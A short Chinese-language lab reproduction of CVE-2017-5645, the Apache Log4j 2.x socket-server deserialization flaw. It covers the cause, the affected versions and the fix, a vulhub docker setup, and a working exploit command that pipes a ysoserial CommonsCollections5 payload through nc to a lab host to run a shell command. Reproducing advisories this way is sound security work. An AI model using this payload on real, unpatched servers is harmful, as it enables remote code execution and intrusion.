漏洞描述
攻击者可以通过发送一个特别制作的2进制payload，在组件将字节反序列化为对象时，触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时，接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置，可以有效的解决该漏洞
影响版本
Apache Log4j 2.8.2之前的2.x版本
环境搭建
cd /vulhub/log4j/CVE-2017-5645 docker-compose up -d
复现
使用ysoserial生成payload，然后直接发送给192.168.1.144:4712端口即可。 java -jar ysoserial-master.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.1.144 4712 进入容器发现生成文件成功
docker exec -it [容器id] /bin/bash
